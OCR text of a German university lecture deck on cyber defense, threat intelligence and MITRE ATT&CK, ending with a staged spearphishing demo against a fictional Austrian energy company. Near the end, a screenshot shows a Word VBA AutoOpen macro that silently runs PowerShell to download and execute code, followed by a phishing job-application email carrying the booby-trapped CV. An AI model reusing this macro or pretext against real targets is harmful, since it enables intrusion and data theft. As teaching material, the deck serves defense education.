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Timo Jobst

Cyber Defense, Incident Response, Threat Intel
CISSP, GCFA, GCTlI, CCE,...

>15 Jahre in Cyber Security

Sport & Outdoor Fan

25.02.2019 | FH Campus Wien

kapsch -

challenging limits

www.kapsch.net | 2




kapscr >

Was haben Sie 1986 gemacht?



Cliff Stoll - 1986

|RACKING A §PY
THROUGH THE MAZE OF
LOMPUTER ESPIONAGE
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A Long Story Short kapsch -~

challenging limits

SATELLITE LINK

.

Hacker Hannover [{

|| Berkeley Laboratory

|L ARPANET / MILNET

ATTACKS ON ARDUT
400 MILKET COMPUTERS
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Sliding Scale of Cyber Security kapsch >

challenging limits

Grundbausteine
Planung
Entwicklung
Design
Stellt die Basis fir alles weitere her
Solange die Basis nicht stimmt, ist ein teures Invest von Security sinnlos

Falsch konfigurierte Hard- u. Software erzeugt viel Noise im Netzwerk

ARCHITECTURE Gewartete und gepatchte Systeme bieten dem Angreifer weniger Angriffsflache

The planning, establishing,
and upkeep of systems with
security in mind

_ Quelle: https://www.sans.org/reading-room/whitepapers/ActiveDefense/paper/36240
25.02.2019 | FH Campus Wien www.kapsch.net | 8



Sliding Scale of Cyber Security kapsch >

challenging limits

Typische Security Landschaft
Firwalls, Anti-Malware Systeme, IPS, AV,...

Diese bendtigen Wartung aber keine kontinuierliche menschliche Betreuung

Prevention und Protection kdnnen meist leicht umgangen werden

ARCHITECTURE

The planning, establishing, Systems added to the
and upkeep of systems with Architecture to provide
security in mind reliable defense or insight
against threats without
consistent human interaction

_ Quelle: https://www.sans.org/reading-room/whitepapers/ActiveDefense/paper/36240
25.02.2019 | FH Campus Wien www.kapsch.net | 9



Sliding Scale of Cyber Security kapsch >

challenging limits

Gut geschulte Analysten bendtigt um ebenfalls gut geschulte Angreifer zu
identifizieren

Gute Architektur und Passive Defense ist Grundvoraussetzung

Motivierter Angreifer wird es immer schaffen ein Netz zu kompromittieren
Monitor, Respond, Learn — Wissen auf die internen Netzwerke tbertragen
Incident Response, Malware Reverse Engineering, Threat Analyse, NSM,....
Threat Hunting

ARCHITECTURE élngreifer s.ind Wandlungsfahig, Defender missen ebenso Intelligent und
exible“sein.
The planning, establishing, Systems added to the The process of analysts
and upkeep of systems with Architecture to provide monitoring for, responding
security in mind reliable defense or insight to, and learning from
against threats without adversaries internal
consistent human interaction to the network

Quelle: https://www.sans.org/reading-room/whitepapers/ActiveDefense/paper/36240
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Sliding Scale of Cyber Security kapsch >

Intelligence wird fur effektive Active Defense benoétigt
Analysierte und bewertete Information flhrt zu Intelligence
Tools erstellen keine Intelligence, nur Analysten kbénnen dies

Vom Angreifer lernen um daraus besser zu reagieren und zu identifizieren

ARCHITECTURE | INTELLIGENCE

The planning, establishing, Systems added to the The process of analysts Collecting data, exploiting
and upkeep of systems with Architecture to provide monitoring for, responding it into information, and
security in mind reliable defense or insight to, and learning from producing Intelligence
against threats without adversaries internal
consistent human interaction to the network
Quelle: https://www.sans.org/reading-room/whitepapers/ActiveDefense/paper/36240 wkapschnet | 12
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Sliding Scale of Cyber Security kapsch >

challenging limits

Wird eher von Militdr und grol3en Security Unternehmen durchgefihrt

Kostenintensiv

ARCHITECTURE _[f PASSIVE DEFENSE | INTELLIGENCE m

The planning, establishing, Systems added to the The process of analysts Collecting data, exploiting Legal countermeasures
and upkeep of systems with Architecture to provide monitoring for, responding it into information, and and self-defense actions
security in mind reliable defense or insight to, and learning from producing Intelligence against an adversary
against threats without adversaries internal
consistent human interaction to the network

Quelle: https://www.sans.org/reading-room/whitepapers/ActiveDefense/paper/36240
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Sliding Scale of Cyber Security

LITTLE BOBBY

SOMEONE HACKED
INTO OUR ACCOLINTS
AND RELEASED
A\ OUR INFO /

25.02.2019 | FH Campus Wien

Y HOW MANY
PEOPLE DO YOU
HAVE DOING

Kkapsch -

challenging limits

by Robert M. Lee and Jeff Haas

[ Levsoo
SECURITY
\ FIRST. /
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Sliding Scale of Cyber Security kapsch >

challenging limits

ARCHITECTURG wreiucence 1 orrense

The planning, establishing, Systems added to the The process of analysts Collecting data, exploiting Legal countermeasures
and upkeep of systems with Architecture to provide monitoring for, responding it into information, and and self-defense actions
security in mind reliable defense or insight to, and learning from producing Intelligence against an adversary
against threats without adversaries internal
consistent human interaction to the network

_ Quelle: https://www.sans.org/reading-room/whitepapers/ActiveDefense/paper/36240
25.02.2019 | FH Campus Wien www.kapsch.net | 15



Sliding Scale of Cyber Security kapsch >

challenging limits

ARCHITECTURE [l PASSIVE DEFENSE" Cwreticence || orrense

The planning, establishing, Systems added to the The process of analysts Collecting data, exploiting Legal countermeasures
and upkeep of systems with Architecture to provide monitoring for, responding it into information, and and self-defense actions
security in mind reliable defense or insight to, and learning from producing Intelligence against an adversary
against threats without adversaries internal
consistent human interaction to the network

Quelle: https://www.sans.org/reading-room/whitepapers/ActiveDefense/paper/36240
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Active Defense & Intelligence

Erfahrung im Security
Bereich

Analytisches Denken
Netzwerk & OS Knowhow

IR & Forensic Knowhow

25.02.2019 | Titel der Préasentation

ic600©600000000 |

Grol3er Technologie Stack

Viel Open Source und
einige kommerzielle
Produkte

Hardware

.‘f';.' e

Welche Daten braucht
man?

Schwachstellen

Wie kommt man an diese
Daten?

Wo speichert man sie?

Kkapsch -

challenging limits

Woher kommt die Intel?
OSINT/Kommerziell?

Wo verarbeite ich die
Daten?

Wie produziere ich Intel?

www.kapsch.net | 17




Beurteillung Data Sources kapscihi . >

Pivots Retention
Pro Context
Search
Acquisition
Pivot Fields
Con GRADE

25.02.2019 | Kapsch Managed Defense Service www.kapsch.net | 18



Packet Capture (PCAP)

IP, Port, Protocol Fields, Payload
Pro

« Highest contex network data source
« Wide level of tool support
« Likely already examined by IDS

Con

« Large disk footprint limits retention

« Limited value when encryption is used
« Significant extraneous data

« Slow to retrieve and filter

25.02.2019 | Kapsch Managed Defense Service

Kkapsch -

challenging limits

Retention

Context A+
Search C
Acquisition D
Pivot Fields A+
GRADE B-

www.kapsch.net | 19



Network Flow Data kapsch >

IP, Port Retention
Pro Context D
* Possible to store for a long time Search A+
« Very fast and flexible to search | Acquisition A
« Can be generated from network devices or Pivot Fields 5
Sensors

« Ideal starting point GRADE A-
Con

* Virtually no context
« Several formats can produce different results

25.02.2019 | Kapsch Managed Defense Service www.kapsch.net | 20



Memory Image

Too Many to Name
Pro

* Incredibly context rich

« Often the only way to find certain types of
malware or hidden processes

* Individual dumps are easy to navigate with
some tools

Con

« Time consuming to acquire and parse
* Not feasible for proactive collection or long
retention

25.02.2019 | Kapsch Managed Defense Service
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challenging limits

Retention

Context A

Search B

Acquisition D

Pivot Fields A+
GRADE B

www.kapsch.net | 21



Detections Kkapsch -

challenging limits

Pyramid of Pain

Tools Behavioral based detection

Network/
Host Artifacts

Domain Names

Automation of traditional indicators
Signature

Source: http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

25.02.2019 | FH Campus Wien www.kapsch.net | 22



MITRE ATT&CK kapsch. -

MITRE s Adversarial Tactics, Techniques, and Common Knowledge

An adversary model and framework for describing the actions an adversary may take to
compromise and operate within an enterprise network

Focus on the last for steps of the Cyber Attack Lifecycle

| Initial Access
Execution
Persistence
Privilege Escalation
Defense Evasion
Credential Access

' Discovery
Lateral Movement
Collection
Exfiltration

MITRE Command and Control

Maintain

Control

Deliver

Recon

Execute

Weaponize

Exploit

25.02.2019 | FH Campus Wien www.kapsch.net | 23
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MITRE ATT&CK

Privilege
Initial Access Execution Persistence I Defense Evasion | Credential Access Discovery Lateral Movement|  Collecti
i Drive-b Access Tok A Tok Account
11 TaCtI CS e y AppleScript .bash_profile and .bashrc cce§s O‘ = cce.ss O‘ = c.counA Account Discovery AppleScript Audio Cag
Compromise Manipulation Manipulation Manipulation
i m Applicati
Derlved fro Exploit Public- - Accessibility . Application o S Automa
. Facina Asolication CMSTP Accessibility Features Eaiiiies BITS Jobs Bash History Wiiidow Disasicr Deployment Collecti
control, main: =" Y software
Distributed
Seven-Stage 1 Hardware Command-Line ) : y X Browser Bookmark RN J
. Account Manipulation AppCert DLLs Binary Padding Brute Force . Component Clipboard
Additions Interface Discovery :
. Object Model
Categories c( —
Replication ) . ; : gosi
h . Thiough Compiled HTML AppCert DLLs Appinit DLLs Bypass User Account Credential File and Directory = Exploitation of Bt i
teC nlques al : File Control Dumping Discovery Remote Services
Removable Media
perform that | o~
Spearphishing Control Panel Applnit DLLS App.)licat‘ion CMSTP Crede‘ntials in Network Service Logon Scripts e
Attachment ltems Shimming Files Scanning !
Reposito
Spearghishing Dynamic Data Application Shittiring Bypass User Clear (.Zommand Credethials in Network Share T Data from
Link Exchange Account Control History Registry Discovery Syster
Spearphishing via ' Execution through DLL Search Order Exploitation for I e
Sl ; 9 g Authentication Package A Code Signing P 7 Network Sniffing Pass the Ticket = Network S
Service API Hijacking Credential Access )
Drive
Supply Chain | Execution through Forced Password Policy = Remote Deskto -
PRy g BITS Jobs Dylib Hijacking  Compiled HTML File L : ¥ P Remova
Compromise Module Load Authentication Discovery Protocol Medic
e Exploitation for ; :
Trusted Exploitation for . . Component i Peripheral Device . A
: L : : Bootkit Privilege 2 Hooking ; Remote File Copy ' Email Colle
Relationship Client Execution Firmware Discovery

25.02.2019 | FH Campus Wien
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MITRE ATT&CK

11 Tactics

Derived from later stages (expoit,
control, maintain and execute) of a
seven-stage Attack Lifecycle

Categories contain list of
techniques adversary could use to
perform that tactic

~223 Techniques
Windows, Mac, Linux

Techniques provide technical,
description, indicators, useful
defensive sensor data, detection
analytics, and potentioal mitigations

25.02.2019 | FH Campus Wien
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o | e | I

AppleScript bash_profile and .bashrc

Access Token X
AppleScript  Audio Caj
Manipulation

Account Discover: y

sibility Automa
CMSTP Accessibility Features BITS Jobs Bash History o
Features C
Account Manipulation AppCert DLLs Binary Padding Brute Force Clip!
npiled HTML By L it Credential
AppCert DLLs Applnit DLLs Ly Data Sta
File Control Dur
Control Panel Applicat o Data f
Control Panel pplication redentials in
. Applnit DLLs Sl CMSTP " LogonScripts  Informat
Items Shimming Files
Reposito
Dy By Clear Command  Credentials in Data from
: Application Shimming > Pass the Hash
Account Control History Registry Syster
Data frc
Execution through ) DLL Search Order Exploitation fo .
ution through 4 sthentication Package | - ; Code Signing 10T Network Sniffing | Passthe Ticket  Network S
AP g Hijacking & Credential Access g
Dri
Dat
BITS Jobs
Bootkit
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APT28, Sofacy, Fancy Bear
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challenging limits

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Movement Collection Exfiltration Command And Control
10 items 33 items 58 items 28 items 63 items 1% items 20 items 17 items 13 items 9 items 21 items

Drive-by Compromise AppleSecript Jbash_profile and .bashrc _— Account Manipulation Account Discovery AppleScript Audio Capture Automated Exfiltration Commonly Used Port
Exploit Public-Facing CMSTP Accessibility Features Accessibility Features Binary Padding Bash History Application Window Discovery Application Deployment _—

Applicati
Pplication _ Account Manipulation AppCert DLLs BITS Jobs
Hardware Additi
araware mens Compiled HTML File AppCert DLLs Applnit DLLs Bypass User Account Control
Contral Panel ltems Applnit DLLs Application Shimming Clear Command History

Execution through API

Bypass User Account Control  CMSTP

Authentication Package DLL Search Order Hijacking ~ Code Signing

Execution through Module Load  BITS Jobs Dylib Hijacking Compiled HTML File

Exploitation for Client Execution __ Component Firmware
Graphical User Interface Browser Extensions _

Extra Window Memoaory
Injection

Spearphishing via Service

Supply Chain Compromise

InstallUtil Change Default File Association Control Panel ltems

Launchetl DCShadow

Component Firmware File System Permissions

_ Weakness
Hooking

Local Job Scheduling

LSASS Driver

Mshta Create Account Image File Execution Options Disabling Security Tools
DLL Search Order Hijacking Injection DLL Search Order Hijacking

Regsves/Regasm Dylib Hijacking Launch Daemen DLL Side-Loading

Regsvr32

Path Interception Extra Window Memory Injection

Ronizz ] vt
Weakness Plist Modification

[seiping ] e
Hooking

Service Execution

File Permissions Modification

Pracess Injection File System Logical Offsets
Hypervisor Scheduled Task Gatekeeper Bypass

Signed Binary Proxy Execution Image File Execution Options

e Service Registry Permissions
Injection

Weakness

Signed Script Proxy Execution

Hidden Users

Source Kernel Modules and Extensions

Setuid and Setgid
Hidden Window

HISTCONTROL

Space after Filename Launch Agent

SID-History Injection

Third-party Software Launch Daemen Startup Items

Image File Execution Options

Launchctl =
Injection

Trap Sudo

Trusted Developer Utilities LC_LOAD_DYLIB Addition

Lagin ltem

Sudo Caching Indicator Blocking

SRS st Removalfrom Tocis

Windows Management Web Shell

Instrumentation

Indirect Command Execution

Windmus Remata Mananamant

Brute Force

Credentials in Files
Credentials in Registry

Exploitation for Credential
Access

Forced Authentication

Hooking

Input Prompt
Kerberoasting
Keychain

LLMMR/MET-NS Paisoning

Browser Bookmark Discovery

Netweork Service Scanning

MNetwork Share Discovery

Drive

Password Policy Discavery

Permission Groups Discovery

Cuery Registry
Remote System Discovery
Security Software Discovery

System Information Discovery

[etworesnting ],

Password Filter DLL
Private Keys
Securityd Memory

Two-Factor Authentication
Interception

Configuration Discovery

System Network Connections
Discovery

System Cwner/User Discovery
Systern Service Discovery

System Time Discovery

Softw
ariare Clipboard Data

Data Encrypted
Distributed Component
Object Model

Data Transfer Size Limits

Custom Command and Control
Protocol

Exfiltration Over Alternative
Protocol

Custom Crypt hic Protacsl
Exfiltration Qver Command Cstam -ryptagraphic Frotace

and Control Channel

_ Exfiltration Over Other

MNetwork Medium

_ Exfiltration Over Physical
Medium

Scheduled Transfer

Data Encoding

Domain Fronting
Remote Desktop Protocol
emaote Desktop Protoco Falloack Channels
Multi-hop Proxy

Remote Services .
Man in the Browser

Shared Webroot Video Capture

Multi-Stage Channels
Multiband Communication
Multilayer Encryption

S5H Hijacking Part Knacking

Remote Access Tools

Taint Shared Content
Third-party Software
Windows Admin Shares

Windows Remote

Management Standard Cryptographic Protocol

Standard Non-Application Layer
Protocol

Uncommonly Used Port

Web Service



APT28, Sofacy, Fancy Bear
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Initial Access Execution Persistence Privilege Escalation Defense Evasion

10 items 33 items 58 items 28 items B3 items

Drive-by Compromise AppleScript Jash_profile and .bashre _—
Exploit Public-Facing CMSTP Accessibility Features Accessibility Features Binary Padding

Application

Compiled HTML File

Hardware Additions

Control Panel ltems

Execution through API

Spearphishing via Service Execution through Module Load

Supply Chain Compromise
Graphical User Interface

InstalllUtil

Launchctl

Local Jlob Scheduling
LSASS Driver

Mshta

Regsves/Regasm
Regsvr32

Scheduled Task

25.02.2019 | FH Campu

Exploitation for Client Execution _

Account Manipulation AppCert DLLs
AppCert DLLs Applnit DLLs
Applnit DLLs Application Shimming

Application Shimming
Authentication Package

BITS Jobs Dwylik Hijacking

Browser Extensions

Change Default File Association Iniecti
njection

Compaonent Firmware

Create Account

DLL Search Order Hijacking Injection

Dylib Hijacking Launch Daemen

External Remote Services Mew Service

File System Permissions Path Interception

Weakness Plist Madification

[Ficden Fies end Diectories ] ..,

Hooking Process Injection

Bypass User Account Contral

DLL Search Order Hijacking

File System Permissions
Hooking

Image File Execution Options

BITS Jobs

Bypass User Account Contral I
Clear Command History

CMSTP

Code Signing

Compiled HTML File

_ I:Dmpﬂnent o

Extra Window Memaory

Contral Panel ltems I

DCShadow

Disabling Security Tocls
DLL Search Order Hijacking |
DLL Side-Loading

Extra Window Memory Injection

File Permissions Modification Kapsch.net | 27
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Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Movement Collection Exfiltration Command And Control
10 items 33 items 58 items 28 items 63 items 19 items 20 items 17 items 13 items 0 items 21 items

Drive-by Compromise AppleSeript bash_profile and .bashrc Access Token Manipulation  Access Token Manipulation Account Manipulation Account Discovery AppleScript Audio Capture Automated Exfiltration Commonly Used Port
Exploit Public-Facing CMSTP Binary Padding Bash History Application Window Discovery Application Deployment Automated Collection Data Compressed Communication Through

Application
Hardware Additions

Replication Through
Removable Media

Command-Line Interface
Compiled HTML File

Control Panel ltems

Spearphishing Attachment Dynarmic Data Exchange
SEEEE T Ik Execution through API

Spearphishing via Service
Supply Chain Compromise
Trusted Relationship

Valid Accounts

Execution through Module Load

ent Execution

Exploitation for

Graphical User Interface
InstallUtil

Launchctl

Local Job Scheduling
LSASS Driver

Mshta

Account Manipulation
AppCert DLLs

Applnit DLLs

Application Shimming
Authentication Package
BITS Jobs

Bootkit

Browser Extensions
Change Default File Association
Component Firmware
Component Object Model
Hijacking

Create Account

PowerShell DLL Search Order Hijacking

Regsves/Regasm
Regswr32
Rundll32

Dwylib Hijacking
External Remote Services

File System Permissions
Weakness

deiiziles B Hidden Files and Directories

Service Execution

Hypervisor

AppCert DLLs
Applnit DLLs

Application Shimming

DLL Search Order Hijacking
Dylib Hijacking

Exploitation for Privilege
Escalation

Extra Window Memory
Injection

File Systemn Permissions
Weakness

Hooking

Image File Execution Options
Injection

Launch Daemon
New Service

Path Interception
Plist Madification
Port Maonitors

Process Injection

BITS Jobs

Brute Force

Bypass User Account Control Credential Dumping

Clear Command History

Bypass User Account Control eXkaIS

Code Signing

Compiled HTML File

Component Firmware

Component Object Model Hijacking
Control Panel ltems

DCShadow

Deobfuscate/Decode Files or
Information

Disabling Security Tools

DLL Search Order Hijacking

DLL Side-Loading

Exploitation for Defense Evasion
Extra Window Memoary Injection
File Deletion

File Permissions Modification

File System Logical Offsets

Signed Binary Proxy Execution Image File Execution Options
Signed Script Proxy Execution Injection

Source Kernel Modules and Extensions

Space after Filename Launch Agent
Third-party Software Launch Dasmon
Trap Launchctl

Trusteel Developer Utilities LC_LOAD_DYLIE Addition

Windows Management Login ltem
Instrumentation .
| nann Serints

Scheduled Task Gatekeeper Bypass

Service Registry Permissions
Weakness

Hidden Files and Directories

Hidden Users

Setuid and Setgid
Hidden Window

SID-History Injection
HISTCONTROL

Startup ltems ) . .
Image File Execution Options

Sudo Injection

Sudo Caching Indicator Blocking

Valid Accounts Indicator Remaval from Tools

Web Shell

Indicator Removal on Host

Credentials in Files
Credentials in Registry

Exploitation for Credential
Access

Forced Authentication
Hooking

Input Capture

Input Prompt
Kerberoasting
Keychain
LLMMR/NET-NS Poisoning
Metwork Sniffing
Password Filter DLL
Private Keys

Securityd Memory

Two-Factor Authentication
Interception

Browser Bookmark Discovery
File and Directory Discovery
Metwork Service Scanning
Metwork Share Discovery
Network Sniffing

Password Policy Discavery
Peripheral Device Discovery
Permission Groups Discovery
Process Discovery

Query Registry

Remote System Discovery

Security Software Discovery

System Information Discovery

System Metwork
Configuration Discovery

System Metwork Connections
Discovery

System Owner/User Discovery

System Service Discovery

System Time Discovery

Software

Distributed Compeonent
Object Model

Exploitation of Remote
Services

Logon Scripts

Pass the Hash
Data from Removable Media

Pass the Ticket

Remote Desktop Protocal
Remote File Copy
Remote Services

Replication Through
Removable Media

Shared Webroot

S5H Hijacking

Taint Shared Content
Third-party Software
Windows Admin Shares

Windows Remote
Management

Clipboard Data

Data from Information
Repositories

Data from Local System

Data from Network Shared
Drive

Data Staged

Email Collection
Input Capture

Man in the Browser
Screen Capture

Video Capture

Data Encrypted
Data Transfer Size Limits

Exfiltration Cver Alternative
Protocol

Exfiltration Over Command
and Contral Channel

Exfiltration Over Other
Metwork Medium

Exfiltration Cver Physical
Medium

Scheduled Transfer

Removable Media
Connection Praxy

Custom Command and Control
Protocol

Custom Cryptographic Protocol
Data Encading
Data Cbfuscation

Falloack Channels
Multi-Stage Channels
Multiband Cammunication
Multilayer Encryption

Port Knocking

Remote Access Taols
Remote File Copy

Standard Application Layer
Protocol

Standard Cryptographic Protocol

Standard Non-Application Layer
Protocol

Uncommonly Used Port

Web Service
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Initial Access Execution Persistence Privilege Escalation Defense Evasion

10 items 33 items 58 items 28 items B3 items

Drive-by Compromise AppleScript Jbazh_profile and .bashrc Access Token Manipulation  Access Token Manipulation
Exploit Public-Facing CMSTP Binary Padding

Applicati
pplication Command-Line Interface

Hardware Additi
arcars Aqeriens Compiled HTML File

Replication Through
Removable Media

Spearphishing Attachment

Spearphishing Link

Control Panel ltems

Dynarnic Diata Exchange

Execution through AP

Spearphishing via Service

Supply Chain Compromise

Trusted Relationship Graphical User Interface

Valid Accounts InstalllUtil
Launchctl
Local Job Scheduling
LSASS Driver

Mzhta

PowerShell
Regsves/Regasm
Regsvr3d2
Rundll32

Exploitation for Client Execution

Account Manipulation
AppCert DLLs
Applnit DLLs
Application Shimming

Authentication Package

Execution through Module Load  BITS Jobs

Boothkit

Browser Extensions

Change Default File Associaticn
Component Firmware

Component Chject Model
Hijacking

Create Account

DLL Search Order Hijacking
Dylib Hijacking

External Remote Services

File System Permissions
Weakness

Siseilzs bod Hidden Files and Directones
o

AppCert DLLs
Applnit DLLs

Application Shimming

BITS Jobs

Bypass User Account Control

Clear Command History

Bypass User Account Control EeREINS

DLL Search Order Hijacking
Dylib Hijacking

Exploitation far Privilege
Escalation

Extra Window Memaory
Injection

File System Permissions
Weakness

Hooking

Image File Execution Cptions
Injection

Launch Dasmon
Mew Service

Path Interception
Plist Maodification

Part Manitars

Code Signing

Compiled HTML File

Component Firmware

Component Object Model Hijacking
Control Panel ltems

DCShadow

Ceobfuscate/Decode Files or
Information

Disabling Security Tools

DLL Search Order Hijacking

DLL Side-Loading

Exploitation for Defense Evasion
Extra Window Memary Injection
File Deleticn

www.kapsch.net | 29
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Kombination APT28/APT29

Initial Access

10 items

Execution Persistence Privilege Escalation Defense Evasion

33 items 58 items 28 items 63 items

Discovery

20 items

Lateral Movement

Kkapsch -

challenging limits

Drive-by Compromise

Exploit Public-Facing
Application

Hardware Additions

Spearphishing Attachment
Spearphishing Link
Spearphishing via Service

Supply Chain Compromise

AppleScript Jbash_profile and .bashrc _— Account Manipulation

CMSTP Accessibility Features Accessibility Features Binary Padding

Account Manipulation Applert DLLs BITS Jobs

Compiled HTML File AppCert DLLs Applnit DLLs

Contral Panel ltems Applnit DLLs Application Shimming Clear Command History
_ Application Shimming Bypass User Account Control [ESERIIY

Execution through API Authentication Package DLL Search Order Hijacking  Code Signing

Execution through Module Load  BITS Jobs Dylib Hijacking Compiled HTML File

loitation for Client Execution __ Component Firmware
Graphical User Interface Browser Extensions _

Injection

Launchetl Companent Firmware - - DCShadow
File System Permissions

Local J:jb SChEdu“ng _ Weakness
LSASS Driver Hooking

Create Account Disabling Security Tools

Mshta Image File Execution Options
DowerShell DLL Search Order Hijacking Injection
Regsves/Regasm Dylib Hijacking Launch Daemon DLL Side-Loading

Regswr32

_ File System Permissions Path Interception Extra Window Memory Injection
\Weakness Plist Modification
T i

S Hoaking

Port Monitors File Permissions Modification

Process Injection File System Logical Offsets

Service Execution Hyperisor
i Scheduled Task Gatekeeper Bypass

Signed Binary Proxy Execution Image File Execution Options

Signed Script Proxy Execution Injection

Service Registry Permissions

Weakness
Hidden Users

Source Kernel Modules and Extensions Setuid and Setgid . .

Space after Filename Launch Agent SID-History Injection Hidden Window

Third-party Software Launch Daemon Startup fems HSTCO".\'TROL . .
Trap Launchctl cudo :nmj::;;oile Execution Options
Trusted Developer Utilities LC_LOAD_DYLIB Addition Sudo Caching Indicator Blocking

i Local Job Scheduli
User Execution acal Jab scheculing _ Indicator Removal from Tools
indows Login It
Window: Ma.nagement ogin ftem Web Shell Indicator Removal on H

Indirect Command Feecution

Credentials in Registry

Exploitation for Credential

Forced Authentication
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DLL Search Order Hijacking _S <o Netwark
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Password Filter DLL

Two-Factor Authentication

Account Discovery
Application Window Discovery Application Deployment
Browser Bookmark Discovery
[T PR CceniiOumping Fleand Dbty Doy
Network Service Scanning
Metwork Share Discovery

Password Policy Discavery

Permission Groups Discovery  Remote Desktop Protocal

Change Default File Association 1@ fhindew Memary Control Panel ltems _—

Query Registry

Remote System Discovery
Security Software Discovery

System Information Discovery

Configuration Discovery

Systern Network Connections

Discovery

Systern Cwner/User Discovery

Systermn Service Discovery

Systern Time Discovery

Distributed Component

Taint Shared Content
Third-party Software
Windows Admin Shares

Collection Exfiltration Command And Control
13 items 9 items 21 items
Audio Capture Automated Exfiltration Commonly Used Port

Clipboard Data Data Encrypted

_ Data Transfer Size Limits
Custom C d and Control
Exfiltration Over Alternative usiom Lommang ang Lentre

Protocol
Protocol

Custom Crypt hic Protacsl
Drata from Metwork Shared  Exfiltration Over Command ustam Lryptagraphic Frotace

Drive and Control Channel Data Encoding

Exfiltration Over Other

Damseged T

Domain Fronting

Exfiltration Over Physical

Medium Fallback Channels

Scheduled Transfer BultizboplRio=y

Man in the Browser Multi-Stage Channels
Multiband Communication
Video Capture Multilayer Encryption

Port Knocking

Remote Access Tools

Standard Cryptographic Protocol

Standard Non-Application Layer
Protocal

Uncommonly Used Port
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Initial Access Execution Persistence Privilege Escalation Defense Evasion
10 items 33 items 58 items 28 items 63 items

Exploit Public-Facing CMSTP Accessibility Features Accessibility Features Binary Padding
Applicati
pRiicaten _ Account Manipulation AppCert DLLs BITS Jobs
Hardware Additi
arcwars Hons Compiled HTML File AppCert DLLs Applnit DLLs Bypass User Account Control |

Contral Panel ltems Applnit DLLs Application Shimming Clear Command History

Spearphishing Attachment _ Application Shimming Bypass User Account Control EERIYES
[ R Execution through AP Authentication Package DLL Search Order Hijacking  Code Signing
Execution through Module Load  BITS Jobs Dylik Hijacking Compiled HTML File

Spearphishing via Service

g . . Exploitation for Client Execution _ Compaonent Firmware
upply Chain Compromise

Extra Window Memaory

Control Panel ltems

_ InstalllUtil Change Default File Association

Injection
Launchctl Component Firmware . . DCShadow
File System Permissions
Local Jab Scheduling _ Weakness _
LSASS Driver Hooking
Mshta Create Account Image File Execution Options Disabling Security Tools
PowerShell DLL Search Order Hijacking Injection DLL Search Order Hijacking |
Regsvcs/Regasm Dylib Hijacking Launch Dasmon DLL Side-Loading
Regswr32

_ File System Permissions Path Interception Extra Window Memory Injection
Weakness

Plist Madification
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Das Ziel: Energieversorgung Waldviertel kapsch -~
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S http//www.evwv.at/Hlindex.md L ~ & | @ energieversorgung Waldvie... %

Home Karriere Hilfe und Kontakt

Energieversorgung Waldviertel

Uber uns

Uber uns

Als einer der fihrenden Energieanbieter im niederosterreichischen Raum haben wir es uns zum Ziel gemacht. durch innovative
Losungen einen Mehrwert fur unsere Kunden zu bieten. Aus diesem Grund steht Qualitat und Kundenzufriedenheit bei uns an
oberster Stelle.

Unsere Services

Location

So erreichen sie uns

Unsere Services

« Strom

* Gas

= Warme

= Wasser

= Services fur Privatkunden

= Services fur Businesskunden

Location

EnergiestralRe 2a
3500 Krems
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Home Karriere Hilfe und Kontakt

Offene Stellen

Junior Marketing Managerin

Junior Marketing Managerin

+ Kontaktperson: Leonie Berger (leonie.berger@eviwy.at)
* Hier geht's zur Ausschreibung

Projektmanagerin

Aulendienst Technikerin

Projektmanagerin

+ Kontaktperson: Leonie Berger (leonie.berger@eviwy.at)
* Hier geht's zur Ausschreibung

AulRendienst Technikerln

+ Kontaktperson: Herbert Wolf (herbert.wolf@evwy.at)
* Hier geht's zur Ausschreibung
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Junior Marketing Managerln

Dienstort: Krems

Die EVWYV zdhlt zu den erfolgreichsten Energieversorgungsunternehmen im Osten Osterreichs mit
internationaler Bedeutung im Zukunftsmarkt der Smart Energy. Seit 2003 steht das Unternehmen
fiir die konsequente Entwicklung und Implementierung richtungsweisender Technologien. Wir
bieten unseren Kunden stets maRgeschneiderte Losungen.

Deine Aufgaben

Wir suchen fiir unser Digital Media Team eine/n Mitarbeiter/in, die/der uns mit einem hohen Maf an
Eigenverantwortung, organisatorischem Talent und ldsungsorientiertem Denken bei folgenden
Aufgaben unterstiitzt:

* Inhaltliche Betreuung der Website der EVWV

* Inhaltliche Betreuung des Intranets der EVWV

* Strategic Branding und digitale CI/CD Governance

e Support far digitale Aktivitdten

e Abstimmung mit Werbe-, Digital-, sowie Kommunikationsagenturen

¢ Mitarbeit an internationalen Kommunikationskampagnen

* Verantwortung des Social Media Auftrittes der EVWV und Abwicklung von Social Media
Kampagnen, gemeinsam mit der PR-Agentur

* Mitarbeit bei einzelnen strategischen vorstandsrelevanten Projekten

kapsch -

challenging limits
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(Allgemein) » | |{Deklaraﬁnnen:c

End If
Hext

S ove | Inset  Pagelaout  References  Maiings  Review  View  Deve

|ﬁ % Caiibri “12 v A A Aav | B S
2 I
P““,d Buvahx,X't/A\"V'A.'

v

End Sub

Suk ShowImages|()
ShowBlurView (msoTrue)

|
|
|
| End Sub

7] Paragraph %
Sub HideImages()
ShowBlurView (msoFalse)
End Sub
Suk DownloadAndRunUpdate ()
Dim cmd
~ cmd = "Swc = New-CObject Net.WebClient;S$wc.UseDefaultCredentials = $true;$wc.Proxy.Credentials = Swc.
Shell "powershell.exe -Command """ & cmd & """", wbHide
— End Sub
Suk Autolpen()
| DownloadAndRunUpdate
-| MsgBox "Die Optimierung ihre Systems fuer die Nutzung moderner Inhaltskompressionstechniken ist
End Sub
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From: Manuel Mairhofer <manuel.mairhofer @outlook. com > Sent: Thu 3/8/2018 10:00 AM
To: leonie. berger @evwy.at

Cc

Subject: Bewerbung als Marketing Manager

| Message IEIJLebensIauf_Mairhnfer_nn-evasicnn.dcnc 488 KB)

Sehr geehrte Frau Berger,

ich habe mich heute auf Ihrer Webseite Gber das Unternehmen informiert und finde Ihre Tatigkeitsfelder duBerst interessant.
Besonders die Tatsache, dass die Kundenzufriedenheit sowie die Dienstleistungsqualitat bei lhnen an erster Stelle steht, hat
mich sehr fasziniert. Ich habe bereits Erfahrungen in internationalen Unternehmen mit Sitz in Osterreich sammeln kénnen
und finde das Klima in diesen Betrieben sehr angenehm.

Aus diesem Grund wirde ich mich beilhnen gerne als Junior Marketing Manager bewerben. Meinen Lebenslauf habe ich
dem Anhang beigefigt.

Meine Kontaktdaten:
E-Mail: manuel.mairhofer@outlook.com
Maobil: 0677 621 630 55

Ich freue mich auf Ihre Rickmeldung und wirde mich sehr gerne persdnlich beilhnen vorstellen.

Beste Grie,
Manuel Mairhofer
